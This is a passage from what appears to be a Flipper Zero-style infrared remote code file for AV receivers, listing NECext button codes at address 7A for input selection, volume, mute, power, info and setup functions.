-address: 7A 00 00 00 -command: 13 00 00 00 -# -name: DVR/VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INPUT:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MAIN:_VCR2/DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: INP_DVR/VCR2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ:_INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: MZ_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 13 00 00 00 -# -name: SELECT_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: INPUT_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: INPUT:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: MZ:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: MZ_IN:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: MAIN:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: MZ:_INP_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: MZ_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: MZ_INP:_PHONO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 14 00 00 00 -# -name: SELECT_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: INPUT_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: INPUT:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: MZ:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: CB -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: CD_(MP3) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: MZ_IN:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: CD_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: MAIN:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: MZ:_INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: Z2:_INP_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: MZ_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: MZ_INP:_CD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 15 00 00 00 -# -name: SELECT_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: INPUT_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: INPUT:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: MZ:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: MZ_IN:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: TUNER_INPUT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: MAIN:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: MZ:_INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: MZ_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: MZ_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 16 00 00 00 -# -name: SELECT_DVD_/_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: LD/TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: VIDEO/AUX -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: INPUT_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: INPUT:_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: TV_LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: DVD/LD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: LDV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: LASER_DISC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 17 00 00 00 -# -name: SELECT_TAPE_/_MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE/MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: INPUT:_TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: INPUT_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: MZ:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: INPUT:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: MZ_IN:_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: MZ:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_/MD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: TAPE_2/VCR_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: MZ:_INP_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: Z4:_SYSM_REC/SV_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 18 00 00 00 -# -name: CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: INPUT:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: INPUT:_TAPE2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: INPUT_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: MZ:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: MZ_IN:_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: INPUT:CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: INP_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: TAPE_1/DAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: MZ:_INP_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: Z4:_SYSM_REC/SV_2 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: MZ_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: MZ_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 19 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MAINZONE_VOL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOL_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MZ:_VOL_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MZ_VOL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MZ:_VOLUME_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MAIN:_VOLUME+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MASTER_VOL_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MAIN:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_(+) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MZ:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: Z4:_SYSM_REC/SV_3 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: MZ:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1A 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MAINZONE_VOL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: VOL_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MZ:_VOL_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MZ_VOL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MZ:_VOLUME_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MAIN:_VOLUME- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MASTER_VOL_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: VIOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MAIN:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: VOLUME_(-) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MZ:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: Z4:_SYSM_REC/SV_4 -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MZ:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: AUDIO_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MZ:_MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MZ_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MZ:_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MAIN:_MUTE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MUTE-TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MUTE:_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MAIN:_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: MUTE_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1C 00 00 00 -# -name: DIAGNOSTIC -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: SYSTEM_POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: SYSTEM_POWER_(ON) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: MZ:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: MZ:_SYSTEM_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: ALL_ZONE_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: ALL_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: SYSTEM_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: ALL_ZONES_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_ON_ALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_ON_(ALL) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: ALL:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: MAIN:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: SYSTEM_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: MZ_+_Z2_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: AZ:_POWER_ON -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1D 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: STAND_BY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: STANDBY_(OFF) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: MZ:_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: MZ:_SYSTEM_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: ALL_ZONE_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: ALL_POWER_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: ALL_ZONES_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: POWER_OFF/STNDBY_ALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: POWER_OFF_(ALL) -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: STANDBY_ALL -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: ALL:_STANDBY -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: MAIN:_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: SYSTEM_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: MZ_+_Z2_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: AZ:_POWER_OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1E 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: POWER_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: MZ:_POWER_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: MZ:_SYSTEM_POWER_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: ALL_ZONE_POWER_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: INPUT_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: MAIN:_POWER_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: MZ:_INPUT_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 1F 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z2_INPUT_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z2:_INPUT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z2_INPUT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z4:_INP_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z2:_INPUT_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z4_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: Z4_INP:_TUNER -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 20 00 00 00 -# -name: INPUT_+ -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 21 00 00 00 -# -name: Z4:_INP_MD/TAPE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 21 00 00 00 -# -name: Z3:_INPUT_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 21 00 00 00 -# -name: Z4:_INP_CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 22 00 00 00 -# -name: Z4:_INPUT_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 22 00 00 00 -# -name: Z4_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 22 00 00 00 -# -name: Z4_INP:_MD/CD-R -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 22 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: INPUT_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: MZ:_INPUT_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: Z4:_INP_DTV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: Z4_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: Z4_INP:_TV -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 23 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z2_INPUT_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z2:_INPUT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z2_INPUT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z4:_INP_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z2:_INPUT_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z4_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: Z4_INP:_CBL/SAT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 24 00 00 00 -# -name: INPUT_- -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 25 00 00 00 -# -name: Z3:_INPUT_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 25 00 00 00 -# -name: Z4:_INP_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 26 00 00 00 -# -name: Z4:_INPUT_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 26 00 00 00 -# -name: Z4_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 26 00 00 00 -# -name: Z4_INP:_VCR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 26 00 00 00 -# -name: DISP_INFO_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: DISPLAY_INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: Z4:_INP_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: INFO_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: INFO_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: Z4_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: Z4_INP:_DVR -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 27 00 00 00 -# -name: DISP_INFO_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 28 00 00 00 -# -name: Z4:_INP_BD/HDDVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 28 00 00 00 -# -name: INFO_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 28 00 00 00 -# -name: INFO_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 28 00 00 00 -# -name: Z4_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 28 00 00 00 -# -name: Z4_INP:_BD/HD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 28 00 00 00 -# -name: DISP_INFO_TOG -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 29 00 00 00 -# -name: Z4:_INP_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 29 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 29 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 29 00 00 00 -# -name: Z4_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 29 00 00 00 -# -name: Z4_INP:_DVD -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 29 00 00 00 -# -name: Z4:_INP_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2A 00 00 00 -# -name: Z4_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2A 00 00 00 -# -name: INFO_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2A 00 00 00 -# -name: Z4_INP:_XM -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2A 00 00 00 -# -name: INFO_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2A 00 00 00 -# -name: SETUP_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2B 00 00 00 -# -name: Z4:_VOLUME_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2B 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2B 00 00 00 -# -name: SETUP:_UP -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2B 00 00 00 -# -name: SETUP_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2C 00 00 00 -# -name: Z4:_VOLUME_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2C 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2C 00 00 00 -# -name: SETUP:_DOWN -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2C 00 00 00 -# -name: SETUP_LEFT -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2D 00 00 00 -# -name: Z4:_MUTE_TOGGLE -type: parsed -protocol: NECext -address: 7A 00 00 00 -command: 2D 00 00 00 -# -name: 